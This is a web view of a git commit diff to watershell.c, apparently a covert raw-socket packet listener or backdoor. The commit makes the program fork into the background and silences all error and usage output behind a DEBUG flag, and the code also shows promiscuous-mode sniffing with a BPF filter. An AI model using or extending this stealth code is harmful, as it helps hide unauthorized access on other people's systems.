Spencer/watershell
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

daemonize and silence

Browse Source
This commit is contained in:
jgeigerm
2015-07-21 01:12:42 -04:00
parent bc8dee9aa2
commit 84e4fbbbd3
1 changed files with 21 additions and 11 deletions
Download Patch File Download Diff File Expand all files Collapse all files

32
watershell.c
View File

@@ -25,6 +25,9 @@
#ifndef PROMISC #ifndef PROMISC
#define PROMISC false #define PROMISC false
#endif #endif
#ifndef DEBUG
#define DEBUG false
#endif
/* COMMAND LINE ARGS WILL OVERRIDE THESE */ /* COMMAND LINE ARGS WILL OVERRIDE THESE */
#include <net/if.h> #include <net/if.h>
@@ -64,6 +67,9 @@ int main(int argc, char *argv[])
unsigned port = PORT; unsigned port = PORT;
int code = 0; int code = 0;
if (fork())
exit(1);
promisc = PROMISC; promisc = PROMISC;
// command line args // command line args
@@ -73,22 +79,26 @@ int main(int argc, char *argv[])
iface = optarg; iface = optarg;
break; break;
case 'p': case 'p':
puts("Running in promisc mode"); if (DEBUG)
puts("Running in promisc mode");
promisc = true; promisc = true;
break; break;
case 'h': case 'h':
fprintf(stderr, "Usage: %s [-l port] [-p] -i iface\n", argv[0]); if (DEBUG)
fprintf(stderr, "Usage: %s [-l port] [-p] -i iface\n", argv[0]);
return 0; return 0;
break; break;
case 'l': case 'l':
port += strtoul(optarg, NULL, 10); port += strtoul(optarg, NULL, 10);
if (port <= 0 || port > 65535){ if (port <= 0 || port > 65535){
puts("Invalid port"); if (DEBUG)
puts("Invalid port");
return 1; return 1;
} }
break; break;
case '?': case '?':
fprintf(stderr, "Usage: %s [-l port] [-p] -i iface\n", argv[0]); if (DEBUG)
fprintf(stderr, "Usage: %s [-l port] [-p] -i iface\n", argv[0]);
return 1; return 1;
default: default:
abort(); abort();
@@ -106,7 +116,7 @@ int main(int argc, char *argv[])
*/ */
sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)); sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP));
if (sockfd < 0){ if (sockfd < 0){
perror("socket"); if (DEBUG) perror("socket");
return 1; return 1;
} }
@@ -117,7 +127,7 @@ int main(int argc, char *argv[])
signal(SIGINT, sigint); signal(SIGINT, sigint);
strncpy(sifreq->ifr_name, iface, IFNAMSIZ); strncpy(sifreq->ifr_name, iface, IFNAMSIZ);
if (ioctl(sockfd, SIOCGIFFLAGS, sifreq) == -1){ if (ioctl(sockfd, SIOCGIFFLAGS, sifreq) == -1){
perror("ioctl SIOCGIFFLAGS"); if (DEBUG) perror("ioctl SIOCGIFFLAGS");
close(sockfd); close(sockfd);
free(sifreq); free(sifreq);
return 0; return 0;
@@ -127,7 +137,7 @@ int main(int argc, char *argv[])
if (promisc){ if (promisc){
sifreq->ifr_flags |= IFF_PROMISC; sifreq->ifr_flags |= IFF_PROMISC;
if (ioctl(sockfd, SIOCSIFFLAGS, sifreq) == -1) if (ioctl(sockfd, SIOCSIFFLAGS, sifreq) == -1)
perror("ioctl SIOCSIFFLAGS"); if (DEBUG) perror("ioctl SIOCSIFFLAGS");
} }
//apply the packet filter code to the socket //apply the packet filter code to the socket
@@ -135,7 +145,7 @@ int main(int argc, char *argv[])
filter.filter = bpf_code; filter.filter = bpf_code;
if (setsockopt(sockfd, SOL_SOCKET, SO_ATTACH_FILTER, if (setsockopt(sockfd, SOL_SOCKET, SO_ATTACH_FILTER,
&filter, sizeof(filter)) < 0) &filter, sizeof(filter)) < 0)
perror("setsockopt"); if (DEBUG) perror("setsockopt");
//sniff forever! //sniff forever!
for (;;){ for (;;){
@@ -160,11 +170,11 @@ void sigint(int signum){
//if promiscuous mode was on, turn it off //if promiscuous mode was on, turn it off
if (promisc){ if (promisc){
if (ioctl(sockfd, SIOCGIFFLAGS, sifreq) == -1){ if (ioctl(sockfd, SIOCGIFFLAGS, sifreq) == -1){
perror("ioctl GIFFLAGS"); if (DEBUG) perror("ioctl GIFFLAGS");
} }
sifreq->ifr_flags ^= IFF_PROMISC; sifreq->ifr_flags ^= IFF_PROMISC;
if (ioctl(sockfd, SIOCSIFFLAGS, sifreq) == -1){ if (ioctl(sockfd, SIOCSIFFLAGS, sifreq) == -1){
perror("ioctl SIFFLAGS"); if (DEBUG) perror("ioctl SIFFLAGS");
} }
} }
//shut it down! //shut it down!
@@ -193,7 +203,7 @@ void send_status(unsigned char *buf, int code){
//get the ifindex //get the ifindex
if (ioctl(sockfd, SIOCGIFINDEX, sifreq) == -1){ if (ioctl(sockfd, SIOCGIFINDEX, sifreq) == -1){
perror("ioctl SIOCGIFINDEX"); if (DEBUG) perror("ioctl SIOCGIFINDEX");
return; return;
} }